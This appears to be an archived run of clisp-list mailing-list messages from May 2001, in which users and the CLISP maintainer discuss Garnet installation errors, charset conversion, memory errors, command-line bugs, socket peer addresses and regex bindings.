> * Honorable "isaac councill" <igc2@psu.edu> writes:
>
> By commenting out the loading of offending files one at a time, I found that
> four files produce the exact same error.  Interestingly, these are
> save-gadget.lisp, load-gadget.lisp, motif-save-gadget.lisp, and
> motif-load-gadget.lisp.  When none of these files are loaded,
> garnet-loader.lisp loads everything else.

I downloaded garnet src-2000-Mar-12.tar.gz and tried with the CVS
version.
I could load garnet-prepare-compile and garnet-loader without any
problems, and I got an error on garnet-compiler.
The error turned out to be a bug in nclx which I have just fixed.

I suggest that you get the CLISP from the CVS and try again.
garnet works out of the box for me with the current CLISP.

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Hello,

I am using the win32 binaries on a win2k machine. I get the error:
 
	*** - invalid byte #x81 in CHARSET:CP1252 conversion

I found that an apparent cause of this is a +/- sign which was copied/pasted
from a pdf document into a (ada source) file I am reading with read-line.
Is it the case that the win32 CLISP is not able to read these characters
because of certain character sets not being compiled into the binaries?

Thank you,
Keith


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On 15 May 2001, Sam Steingold wrote:

> > Is there currently some kind of gui library for clisp on M$ windows
> > systems? The sourceforge page mentions wxWindows bindings being a task
> > but doesn't have any status info.
>
> would you like to work on this?

Although I wouldn't mind helping out, I don't think I've got enough
experience to pull it off. Has someone planned out how wxWindows would map
into CLISP?

> the portable way to do GUI is to interface with an html browser.
> CLISP inspector works that way.

I'll take a look at that. Thanks.

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> * In message <Pine.LNX.4.30.0105151344500.23546-100000@illusions.com>
> * On the subject of "Re: [clisp-list] GUI library under windows?"
> * Sent on Tue, 15 May 2001 16:45:32 -0700 (MST)
> * Honorable Dennis <dennis@illusions.com> writes:
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> On 15 May 2001, Sam Steingold wrote:
> 
> > > Is there currently some kind of gui library for clisp on M$ windows
> > > systems? The sourceforge page mentions wxWindows bindings being a task
> > > but doesn't have any status info.
> >
> > would you like to work on this?
> 
> Although I wouldn't mind helping out, I don't think I've got enough
> experience to pull it off. Has someone planned out how wxWindows would
> map into CLISP?

please look at http://wxpython.org/
the issue is time and will, not experience.
If you have time and will, get wxwin, wxpy, look at the code,
subscribe to clisp-devel and ask questions there...

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On Tue, 15 May 2001 10:58:03 -0400, Isaac Councill <igc2@psu.edu> wrote:

> Does anyone out there use garnet with clisp?  If so, what did you do to
> install it?

A few months ago I was able to use Garnet with the then latest CLISP and
NCLX on Red Hat Linux. It still had some--apparently--minor problems, but I
was able to run most of the Garnet demos and tools.

I seem to remember that I didn't do anything fancy to compile it at the
time, but I am unable to provide more details now. If necessary, I can dig
up an old message summarizing my experience. I have been meaning to play a
bit more extensively with Garnet myself, but I currently don't have much
time.


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> * In message <E0FD762458CDD411A6FF00104B278FF9954108@EXCHANGE1>
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> I am using the win32 binaries on a win2k machine. I get the error:

you did not specify the CLISP version and where you got your binaries.
I assume that you mean the latest release 2.25.1 and my binary from SF.
next time please supply the value of (lisp-implementation-version).

> 	*** - invalid byte #x81 in CHARSET:CP1252 conversion
> 
> I found that an apparent cause of this is a +/- sign which was
> copied/pasted from a pdf document into a (ada source) file I am

how do you copy/paste from PDF?!

> reading with read-line.  Is it the case that the win32 CLISP is not
> able to read these characters because of certain character sets not
> being compiled into the binaries?

you need to specify the :external-format argument to open, see
http://clisp.sourceforge.net/impnotes.html#open

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Well, the comma problem is fixed but now I am simply getting a slightly =
more descriptive version of the original error:

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argument 63548

Same files, of course.  If anyone (Paolo, for instance?) has any (save =
or load)-gadgets files that worked at one time, I would be grateful if =
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Thanks,
Isaac

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> * In message <002001c0de24$c50e1fc0$a681cb82@ist.psu.edu>
> * On the subject of "Re: [clisp-list] garnet-install"
> * Sent on Wed, 16 May 2001 12:25:06 -0400
> * Honorable "isaac councill" <igc2@psu.edu> writes:
>
> Well, the comma problem is fixed but now I am simply getting a
> slightly more descriptive version of the original error:
> 
> *** LISP-RENAMED-BY-GARNET: MAKE-ENCODING: illegal :OUTPUT-ERROR-ACTION argument 63548
> 
> Same files, of course.  If anyone (Paolo, for instance?) has any (save
> or load)-gadgets files that worked at one time, I would be grateful if
> you could send one for me to examine.

I take your message to mean that you do not need any help from me
(which is perfectly fine with me!) otherwise you would have included
information on what you did to get this error message (like, "cvs up;
configure --with-module=clx/new-clx --build build; make install; clisp
-K full -i garnet-compile.lisp" &c).
If you get this error on load, please set *load-print* to T; if you get
this error on compile, please set *compile-print* to T.
The error message by itself it _never_ enough, you _must_ supply the
offending form (which, BTW, might not be enough either! :-)

As I said yesterday - I compiled garnet without errors and ran some
demos too.

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On Wed, 16 May 2001 12:25:06 -0400, Isaac Councill <igc2@psu.edu> wrote:

> Same files, of course.  If anyone (Paolo, for instance?) has any
> (save or load)-gadgets files that worked at one time, I would be grateful
> if you could send one for me to examine.

I did not need to modify those files at the time. I include below a message
I posted to this list a couple of years ago. It illustrates my experience
with Garnet and CLISP under Linux.


Paolo

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Subject: Garnet questions and problems
From: amoroso@mclink.it (Paolo Amoroso)
Date: Mon, 10 May 1999 09:28:43 -0700 (PDT)

I use CLISP 1999.01.08, built from source with the included NCLX module,
under Red Hat Linux 5.2. I have installed the Garnet 3.0 distribution for
CLISP available at CONS.ORG.

I have followed the directions provided in the Garnet documentation,
including the ones specific to CLISP. Of course I didn't need to rename the
source files. I have also set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL
before compilation to avoid being flooded by warnings when later running
the demos.

I have found that in garnet-loader.lsp there is no CLISP specific value for
*DEFAULT-GARNET-PROCLAIM*. I guess this reflected the state of CLISP when
Garnet 3.0 was released several years ago. Are there optimization settings
worth considering with recent versions of CLISP such as the one I'm using?

As suggested by the documentation, I have dumped a Garnet image that I
start with an appropriate script. Do I still need to run the
garnet-after-compile script? Can I delete the Lisp sources and binaries
when they are non longer needed?

When I start the Garnet image, I get the following error:


[paolo@localhost paolo]$ garnet
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo   
  I I I I I I I      8     8   8           8     8     o  8    8  
  I I I I I I I      8         8           8     8        8    8  
  I I I I I I I      8         8           8      ooooo   8oooo   
  I  \ `+' /  I      8         8           8           8  8       
   \  `-+-'  /       8     o   8           8     o     8  8       
    `-__|__-'         ooooo    8oooooo  ooo8ooo   ooooo   8       
        |                                                         
  ------+------     Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
                    Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
                    Copyright (c) Pierpaolo Bernardi, Sam Steingold 1998
                                                                  
*** Restarting Garnet 3.0 image created with opal:make-image ***
*** Image creation date: May 10, 1999, 3:17 PM ***

*** - FUNCALL: the function #:|(SETF
XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS)| is undefined


As far as I can tell, that function is present in the XLIB package:


1. Break [7]> (apropos "DISPLAY-REPORT-ASYNCHRONOUS-ERRORS")

XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS    function
XLIB::DISPLAY-REPORT-ASYNCHRONOUS-ERRORS-SETTER    function


It seems that the only reference to XLIB:DISPLAY-REPORT-ASYNCHRONOUS-ERRORS
is in src/opal/x.lsp:


[...]
;;; RETURNS:
;;; normally NIL; returns T if:
;;; - the property is :WIDTH or :HEIGHT and a new buffer is required
because
;;;   the old one was too small; or
;;; - the property is :VISIBLE and the window needs to be mapped.
;;;
(defun x-set-window-property (window property value)
  (case property
    (:BACKGROUND-COLOR
     ...)
    ;; ...
    (:REPORT-ASYNCHRONOUS-ERRORS
     (setf (xlib:display-report-asynchronous-errors
	    opal::*default-x-display*)
	   value))
    ;; ...
    (T
     (format t "Unknown property ~S in gem:x-set-window-property.~%"
	     property))))
[...]


After the above mentioned error, however, I am able to use Garnet
anyway--e.g. for loading the demos--by switching to the USER package and
evaluating the appropriate forms:


1. Break [7]> abort

[8]> *package*
#<PACKAGE USER-RENAMED-BY-GARNET>
[9]> (garnet-load "demos:demos-controller")

*** - EVAL: the function GARNET-LOAD is undefined
1. Break [10]> abort

[11]> (in-package :user)
#<PACKAGE COMMON-LISP-USER>
USER[12]> (garnet-load "demos:demos-controller")
Loading #P"/usr/local/lib/clisp/garnet/src/demos/demos-controller"
[...]


A few demos--e.g. angle, scrollbar and unidraw--still do not work, but this
is a minor problem. Do you have any suggestions for solving the problem
with the Garnet image and DISPLAY-REPORT-ASYNCHRONOUS-ERRORS?


Paolo
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Sam,
Yes! Thank you. :external-format CHARSET:ISO-8859-1 solved the problem. 
You made a correct assumption on my current version. I will supply
(lisp-implementation-version) in the future.
In Acrobat Reader there is a toolbar button with a T (for "text"?). Select
that and one can select text, then copy,....I pasted into an Emacs buffer...
Thank you again,
Keith




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> * In message <E0FD762458CDD411A6FF00104B278FF9954108@EXCHANGE1>
> * On the subject of "[clisp-list] character sets"
> * Sent on Tue, 15 May 2001 19:07:43 -0400
> * Honorable "Rehm, Keith" <keithr@SSD.FSI.com> writes:
>
> I am using the win32 binaries on a win2k machine. I get the error:

you did not specify the CLISP version and where you got your binaries.
I assume that you mean the latest release 2.25.1 and my binary from SF.
next time please supply the value of (lisp-implementation-version).

> 	*** - invalid byte #x81 in CHARSET:CP1252 conversion
> 
> I found that an apparent cause of this is a +/- sign which was
> copied/pasted from a pdf document into a (ada source) file I am

how do you copy/paste from PDF?!

> reading with read-line.  Is it the case that the win32 CLISP is not
> able to read these characters because of certain character sets not
> being compiled into the binaries?

you need to specify the :external-format argument to open, see
http://clisp.sourceforge.net/impnotes.html#open

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Hi.

I was running clisp overnight.  I get the following error message(s)

Trying to make room through a GC...
Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...
Unable to load interpreter /lib/ld-linudx.so.2
Unable to load interpreter /lib/ld-linudx.so.2
Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
Trying to make room through a GC...

Is this an OS or CLISP message?


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<P><FONT SIZE=2>I was running clisp overnight.&nbsp; I get the following error message(s)</FONT>
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<P><FONT SIZE=2>Trying to make room through a GC...</FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED29F@pens0394.cnet.navy.Mil>
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> I was running clisp overnight.  I get the following error message(s)
> 
> Trying to make room through a GC...
> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
> Trying to make room through a GC...
> Unable to load interpreter /lib/ld-linudx.so.2
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> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough memory.
> Trying to make room through a GC...
> 
> Is this an OS or CLISP message?

OS is refusing CLISP request to allocate more memory.
CLISP is trying to get more room through GC, but it fails to get enough.
ENOMEM is the errno which is set when malloc(3) fails to allocate the
requested space.

You have to rethink your application - maybe you are keeping too much
unnecessary data still available (if it were garbage, CLISP would have
collected it).  If you really need all that data, you will probably need
to get more physical RAM or swap space.

CLISP is very frugal on memory usage, so I would guess that it is not
our fault.

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Thanks for the information...

I'm going add more swap space.... 

Randy 



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> * Sent on Thu, 17 May 2001 07:19:23 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil>
writes:
>
> I was running clisp overnight.  I get the following error message(s)
> 
> Trying to make room through a GC...
> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough
memory.
> Trying to make room through a GC...
> Unable to load interpreter /lib/ld-linudx.so.2
> Unable to load interpreter /lib/ld-linudx.so.2
> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough
memory.
> Trying to make room through a GC...
> 
> Is this an OS or CLISP message?

OS is refusing CLISP request to allocate more memory.
CLISP is trying to get more room through GC, but it fails to get enough.
ENOMEM is the errno which is set when malloc(3) fails to allocate the
requested space.

You have to rethink your application - maybe you are keeping too much
unnecessary data still available (if it were garbage, CLISP would have
collected it).  If you really need all that data, you will probably need
to get more physical RAM or swap space.

CLISP is very frugal on memory usage, so I would guess that it is not
our fault.

-- 
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<P><FONT SIZE=3D2>Thanks for the information...</FONT>
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<P><FONT SIZE=3D2>I'm going add more swap space.... </FONT>
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<P><FONT SIZE=3D2>Randy </FONT>
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<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
HREF=3D"mailto:sds@gnu.org">mailto:sds@gnu.org</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, May 17, 2001 9:23 AM</FONT>
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<BR><FONT SIZE=3D2>&gt; * Honorable &quot;Justice, Randy =
-CONT\(DYN\)&quot; &lt;Randy.Justice@cnet.navy.mil&gt; writes:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I was running clisp overnight.&nbsp; I get the =
following error message(s)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; Cannot map memory to address 0X202EA000 . errno =
=3D ENOMEM: Not enough memory.</FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; Unable to load interpreter =
/lib/ld-linudx.so.2</FONT>
<BR><FONT SIZE=3D2>&gt; Unable to load interpreter =
/lib/ld-linudx.so.2</FONT>
<BR><FONT SIZE=3D2>&gt; Cannot map memory to address 0X202EA000 . errno =
=3D ENOMEM: Not enough memory.</FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Is this an OS or CLISP message?</FONT>
</P>

<P><FONT SIZE=3D2>OS is refusing CLISP request to allocate more =
memory.</FONT>
<BR><FONT SIZE=3D2>CLISP is trying to get more room through GC, but it =
fails to get enough.</FONT>
<BR><FONT SIZE=3D2>ENOMEM is the errno which is set when malloc(3) =
fails to allocate the</FONT>
<BR><FONT SIZE=3D2>requested space.</FONT>
</P>

<P><FONT SIZE=3D2>You have to rethink your application - maybe you are =
keeping too much</FONT>
<BR><FONT SIZE=3D2>unnecessary data still available (if it were =
garbage, CLISP would have</FONT>
<BR><FONT SIZE=3D2>collected it).&nbsp; If you really need all that =
data, you will probably need</FONT>
<BR><FONT SIZE=3D2>to get more physical RAM or swap space.</FONT>
</P>

<P><FONT SIZE=3D2>CLISP is very frugal on memory usage, so I would =
guess that it is not</FONT>
<BR><FONT SIZE=3D2>our fault.</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
HREF=3D"http://www.podval.org/~sds" =
TARGET=3D"_blank">http://www.podval.org/~sds</A>)</FONT>
<BR><FONT SIZE=3D2>Support Israel's right to defend herself! &lt;<A =
HREF=3D"http://www.i-charity.com/go/israel" =
TARGET=3D"_blank">http://www.i-charity.com/go/israel</A>&gt;</FONT>
<BR><FONT SIZE=3D2>Read what the Arab leaders say to their people on =
&lt;<A HREF=3D"http://www.memri.org/" =
TARGET=3D"_blank">http://www.memri.org/</A>&gt;</FONT>
<BR><FONT SIZE=3D2>We are born naked, wet, and hungry.&nbsp; Then =
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Sometimes recursion is not the best design. 
I went from 300M memory usage to 3.5M. 

The speed increased at least 3-5X too.


Thanks for the insight.

Randy


-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Thursday, May 17, 2001 9:23 AM
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> * In message
<B4CA1F5D8D23D411ADC7009027E791BF013ED29F@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] Memory Error Message"
> * Sent on Thu, 17 May 2001 07:19:23 -0500
> * Honorable "Justice, Randy -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil>
writes:
>
> I was running clisp overnight.  I get the following error message(s)
> 
> Trying to make room through a GC...
> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough
memory.
> Trying to make room through a GC...
> Unable to load interpreter /lib/ld-linudx.so.2
> Unable to load interpreter /lib/ld-linudx.so.2
> Cannot map memory to address 0X202EA000 . errno = ENOMEM: Not enough
memory.
> Trying to make room through a GC...
> 
> Is this an OS or CLISP message?

OS is refusing CLISP request to allocate more memory.
CLISP is trying to get more room through GC, but it fails to get enough.
ENOMEM is the errno which is set when malloc(3) fails to allocate the
requested space.

You have to rethink your application - maybe you are keeping too much
unnecessary data still available (if it were garbage, CLISP would have
collected it).  If you really need all that data, you will probably need
to get more physical RAM or swap space.

CLISP is very frugal on memory usage, so I would guess that it is not
our fault.

-- 
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself!
<http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on <http://www.memri.org/>
We are born naked, wet, and hungry.  Then things get worse.

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<P><FONT SIZE=3D2>Sometimes recursion is not the best design. </FONT>
<BR><FONT SIZE=3D2>I went from 300M memory usage to 3.5M. </FONT>
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<P><FONT SIZE=3D2>The speed increased at least 3-5X too.</FONT>
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<BR>

<P><FONT SIZE=3D2>Thanks for the insight.</FONT>
</P>

<P><FONT SIZE=3D2>Randy</FONT>
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<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
HREF=3D"mailto:sds@gnu.org">mailto:sds@gnu.org</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, May 17, 2001 9:23 AM</FONT>
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-CONT\(DYN\)&quot; &lt;Randy.Justice@cnet.navy.mil&gt; writes:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I was running clisp overnight.&nbsp; I get the =
following error message(s)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; Cannot map memory to address 0X202EA000 . errno =
=3D ENOMEM: Not enough memory.</FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; Unable to load interpreter =
/lib/ld-linudx.so.2</FONT>
<BR><FONT SIZE=3D2>&gt; Unable to load interpreter =
/lib/ld-linudx.so.2</FONT>
<BR><FONT SIZE=3D2>&gt; Cannot map memory to address 0X202EA000 . errno =
=3D ENOMEM: Not enough memory.</FONT>
<BR><FONT SIZE=3D2>&gt; Trying to make room through a GC...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Is this an OS or CLISP message?</FONT>
</P>

<P><FONT SIZE=3D2>OS is refusing CLISP request to allocate more =
memory.</FONT>
<BR><FONT SIZE=3D2>CLISP is trying to get more room through GC, but it =
fails to get enough.</FONT>
<BR><FONT SIZE=3D2>ENOMEM is the errno which is set when malloc(3) =
fails to allocate the</FONT>
<BR><FONT SIZE=3D2>requested space.</FONT>
</P>

<P><FONT SIZE=3D2>You have to rethink your application - maybe you are =
keeping too much</FONT>
<BR><FONT SIZE=3D2>unnecessary data still available (if it were =
garbage, CLISP would have</FONT>
<BR><FONT SIZE=3D2>collected it).&nbsp; If you really need all that =
data, you will probably need</FONT>
<BR><FONT SIZE=3D2>to get more physical RAM or swap space.</FONT>
</P>

<P><FONT SIZE=3D2>CLISP is very frugal on memory usage, so I would =
guess that it is not</FONT>
<BR><FONT SIZE=3D2>our fault.</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Sam Steingold (<A =
HREF=3D"http://www.podval.org/~sds" =
TARGET=3D"_blank">http://www.podval.org/~sds</A>)</FONT>
<BR><FONT SIZE=3D2>Support Israel's right to defend herself! &lt;<A =
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TARGET=3D"_blank">http://www.i-charity.com/go/israel</A>&gt;</FONT>
<BR><FONT SIZE=3D2>Read what the Arab leaders say to their people on =
&lt;<A HREF=3D"http://www.memri.org/" =
TARGET=3D"_blank">http://www.memri.org/</A>&gt;</FONT>
<BR><FONT SIZE=3D2>We are born naked, wet, and hungry.&nbsp; Then =
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On 16 May 2001, Sam Steingold wrote:

> please look at http://wxpython.org/
> the issue is time and will, not experience.
> If you have time and will, get wxwin, wxpy, look at the code,
> subscribe to clisp-devel and ask questions there...

Ok, I'm starting to look at wxpy.

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Hi,

I'm new to CLISP and LISP in general. The other day I downloaded copies of 
version 2.25 and 2.25.1 of CLISP for Windows (I am using Win98). I have 
problems feeding LISP files to it though. I have a very simple test program 
"hello.lsp":

  (write-line "Hello, world!")

Doing this in interactive mode works fine. Loading the file works fine too; 
so does specifying the file on the command line with -i, like

  lisp.exe [...] -i hello.lsp

However, what I want is to have CLISP start, load the program, execute it, 
and stop. From what I got from the manual, this is what this command line 
should do:

  lisp.exe -B c:\lang\clisp\ -M lispinit.exe hello.lsp

It doesn't work though. In 2.25, nothing happens at all, and in 2.25.1, I 
get an error message, something about 'invalid form ".BAT"'. As said, 
everything else works, including compiling the program using the -c switch.

I am obviously missing something. But what?

Thanks in advance,

--Hans Nowak (zephyrfalcon@hvision.nl)
You call me a masterless man. You are wrong. I am my own master.
May a spaniel wipe the sweat from your glass of milk!


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> * In message <200105200837.f4K8bSf09004@hera.cuci.nl>
> * On the subject of "[clisp-list] Newbie: Problems starting a program"
> * Sent on Sun, 20 May 2001 10:35:52 +0200
> * Honorable "Hans Nowak" <hnowak@cuci.nl> writes:
>
>   lisp.exe -B c:\lang\clisp\ -M lispinit.exe hello.lsp
> 
> It doesn't work though. In 2.25, nothing happens at all, and in
> 2.25.1, I get an error message, something about 'invalid form
> ".BAT"'. As said, everything else works, including compiling the
> program using the -c switch.

this was a bug in 2.25.1 - thanks for reporting it.
it was fixed on 2001-04-18 (see src/ChangeLog in the CVS).

next time please send the exact wording of the error message.

-- 
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I may have asked this before.
It seems that lisp:socket-stream-peer does some sort of operation
(DNS lookup) that can take a very long time to complete.  I guess
that's cause it has an IP address and is trying to generate a name.
Is there some way to just get the IP address of the peer?
That's all I really want and I want it to take a small bounded 
amount of time.


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> * In message <200105230534.f4N5YdP14444@isis.compsvcs.com>
> * On the subject of "[clisp-list] lisp:socket-stream-peer"
> * Sent on Tue, 22 May 2001 22:34:39 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
> It seems that lisp:socket-stream-peer does some sort of operation
> (DNS lookup) that can take a very long time to complete.  I guess
> that's cause it has an IP address and is trying to generate a name.
> Is there some way to just get the IP address of the peer?
> That's all I really want and I want it to take a small bounded 
> amount of time.

ext:socket-stream-peer is not a structure accessor.

you should not call it more than once for a given socket - the return
value does not change.

you should always expect network delays in network code.

If you use its value for pretty-printing, maybe the printed
representation of the socket object is what you are really after?

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Sam Steingold writes:
 > > * In message <200105230534.f4N5YdP14444@isis.compsvcs.com>
 > > * On the subject of "[clisp-list] lisp:socket-stream-peer"
 > > * Sent on Tue, 22 May 2001 22:34:39 -0700 (PDT)
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 > >
 > > It seems that lisp:socket-stream-peer does some sort of operation
 > > (DNS lookup) that can take a very long time to complete.  I guess
 > > that's cause it has an IP address and is trying to generate a name.
 > > Is there some way to just get the IP address of the peer?
 > > That's all I really want and I want it to take a small bounded 
 > > amount of time.
 > 
 > ext:socket-stream-peer is not a structure accessor.
Right.  I want the structure accessor.  Is there one?
If not, could it be added?

 > you should not call it more than once for a given socket - the return
 > value does not change.
Even calling it once per stream is too often.

 > you should always expect network delays in network code.
But I don't want to call network code.  I just want the IP address of
the peer.

 > If you use its value for pretty-printing, maybe the printed
 > representation of the socket object is what you are really after?
I don't want it for pretty printing, I want to know the IP address of
the peer.  And the socket object does not print with the address of
the peer, only the address of the local machine.

So please tell me how I can get the IP address of the peer.
Right now I have to use socket-stream-peer to get a string and
then parse that to reconstruct the address.


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> * In message <15115.64432.440488.815576@isis.compsvcs.com>
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> * Sent on Wed, 23 May 2001 11:04:32 -0700 (PDT)
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>
>  > ext:socket-stream-peer is not a structure accessor.
> Right.  I want the structure accessor.  Is there one?
> If not, could it be added?
> 
> I want to know the IP address of the peer.  
> 
> So please tell me how I can get the IP address of the peer.
> Right now I have to use socket-stream-peer to get a string and
> then parse that to reconstruct the address.

what do you need this for?

We consider the IP address to be a low level detail which should not
be exposed.


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Sam Steingold writes:
 > > So please tell me how I can get the IP address of the peer.
 > > Right now I have to use socket-stream-peer to get a string and
 > > then parse that to reconstruct the address.
 > 
 > what do you need this for?
 > 
 > We consider the IP address to be a low level detail which should not
 > be exposed.

Well, I admit one thing I use it for is to print it in a log.
But I don't need the host name for that, just the address or,
if you like, the address string.
The other thing I use it for is to compare it to other addresses.
Again, if I just want to see whether two are the same I guess the
address string would do.  In fact I do more than that.  I do things
like testing whether two have the same first byte.  This is done
for access control reasons.  For instance, I want to not accept
connections (well, ok I accept, then test, then maybe close them)
from certain places or subnets, I don't want to have more than
a certain number of connections at a time open from certain places
or subnets, etc.

Is that a good enough explanation?

I know that when you want to write general purpose servers there 
are lots of other things that are not visible in clisp that you
really want to control.  Perhaps a lower level interface would be
the right way to go here.  For instance, if I could get from a
socket stream some c object that I could then pass to various
functions to control low level things that would help.  I'd also
like to be able to handle more than tcp packets one of these days.
But if you just give me the peer IP address accessor I promise not
to ask for any of that stuff for at least another week.  Deal?


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]> * In message <15115.64432.440488.815576@isis.compsvcs.com>
]> * On the subject of "Re: [clisp-list] lisp:socket-stream-peer"
]> * Sent on Wed, 23 May 2001 11:04:32 -0700 (PDT)
]> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
]>
]>  > ext:socket-stream-peer is not a structure accessor.
]> Right.  I want the structure accessor.  Is there one?
]> If not, could it be added?
]> 
]> I want to know the IP address of the peer.  
]> 
]> So please tell me how I can get the IP address of the peer.
]> Right now I have to use socket-stream-peer to get a string and
]> then parse that to reconstruct the address.
]
]what do you need this for?
]
]We consider the IP address to be a low level detail which should not
]be exposed.


I can think of 2 reasons:

(1) to write it in a log (just want the ip address, can resolve it to a name
later if needed).

(2) to check that the connection is coming from an authorized place. Compare
the IP address to a list of acceptable users of the service, deny if it
isn't there.


glauber


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> * In message <15116.1491.755820.149662@isis.compsvcs.com>
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> * Sent on Wed, 23 May 2001 11:47:47 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:

get the latest CVS - ext:socket-stream-peer now takes a second optional
argument "fast-p" which turns off DNS lookup.

> For instance, if I could get from a socket stream some c object that I
> could then pass to various functions to control low level things that
> would help.

that's what FFI is for.

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Sam Steingold writes:
 > get the latest CVS - ext:socket-stream-peer now takes a second optional
 > argument "fast-p" which turns off DNS lookup.
Thanks, I look forward to it.
If fast-p is true it returns what, "1.2.3.4" ?

 > > For instance, if I could get from a socket stream some c object that I
 > > could then pass to various functions to control low level things that
 > > would help.
 > that's what FFI is for.
Yes I understand.  And I suppose that FFI already can give me the
object I need from the stream, but I don't know how to do it.
Am I supposed to?  Am I supposed to be able to find out by reading
the source or is this documented or is there documentation to tell
me how to find out or what?
No rush on this question, of course.  As I recall, I'm not supposed
to need any of that stuff for at least a week.


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> * In message <15117.24012.11684.66683@isis.compsvcs.com>
> * On the subject of "Re: [clisp-list] lisp:socket-stream-peer"
> * Sent on Thu, 24 May 2001 12:15:23 -0700 (PDT)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
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> If fast-p is true it returns what, "1.2.3.4" ?

yes.  if you build --with-export-syscalls, you can use
`resolve-host-ipaddr' later.

>  > > For instance, if I could get from a socket stream some c object that I
>  > > could then pass to various functions to control low level things that
>  > > would help.
>  > that's what FFI is for.
> Yes I understand.  And I suppose that FFI already can give me the
> object I need from the stream, but I don't know how to do it.
> Am I supposed to?  Am I supposed to be able to find out by reading
> the source or is this documented or is there documentation to tell
> me how to find out or what?

can't help you here.

if you need the low-level stuff, you write it in C, add interface to
CLISP &c.

alternatively, you can try to convince me that we should export it in
CLISP :-)

If you are on Linux, you can build --with-module=bindings/linuxlibc6 and
you would probably have what you want.



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Would anyone use CLISP -> pcre (perl-compatibility regexp library) ?  It's
faster and more full-featured than the gnu regexp stuff.

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On Fri, 25 May 2001, Miles Egan wrote:
> Would anyone use CLISP -> pcre (perl-compatibility regexp library) ?  It's
> faster and more full-featured than the gnu regexp stuff.

sure. do you have a binding ready?



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On Fri, May 25, 2001 at 07:08:59PM +0200, Reini Urban wrote:
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> > faster and more full-featured than the gnu regexp stuff.
> 
> sure. do you have a binding ready?

Nope, but I was thinking of starting on one.  I'm trying to learn the FFI and
pcre doesn't seem too hairy.  I'll take a whack at it.

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> Would anyone use CLISP -> pcre (perl-compatibility regexp library) ?  It's
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Just a reminder, there's a nice Perl-compatible regexp package in
http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme,
mechanically ported to Common Lisp, no C involved). I've use it with CLISP.
It's fast enough for what i've needed so far, but i haven't made any speed
comparisons. It implements all of the Perl regexp oddities.

g


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On Fri, May 25, 2001 at 12:32:45PM -0700, Ribeiro, Glauber wrote:
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> > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ?  It's
> > faster and more full-featured than the gnu regexp stuff.
> 
> 
> Just a reminder, there's a nice Perl-compatible regexp package in
> http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme,
> mechanically ported to Common Lisp, no C involved). I've use it with CLISP.
> It's fast enough for what i've needed so far, but i haven't made any speed
> comparisons. It implements all of the Perl regexp oddities.

I wasn't aware of this.  Pretty cool.  I suspect the c version would be quite a
bit faster, especially in clisp, but it probably wouldn't matter in a lot of
cases.  I think I'll still take a stab at pcre bindings, if only for my own
education.

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> 
> 
> Just a reminder, there's a nice Perl-compatible regexp package in
> http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme,
> mechanically ported to Common Lisp, no C involved). I've use it with CLISP.
> It's fast enough for what i've needed so far, but i haven't made any speed
> comparisons. It implements all of the Perl regexp oddities.

Yep.  But the Scheme to CL translator is really hairy and obviously
writte by somebody who doas not know much about CL.

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The makefile generated in the 'src' directory includes this in the comments:

"""
# The general layout of add-on modules is described in ../doc/module.txt.
# The requirements made there (i.e. the existence of a "link.sh" file
# which defines certain variables) make sure that such an add-on module
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But there doesn't seem to be a ../doc/module.txt.  Has it been folded into the
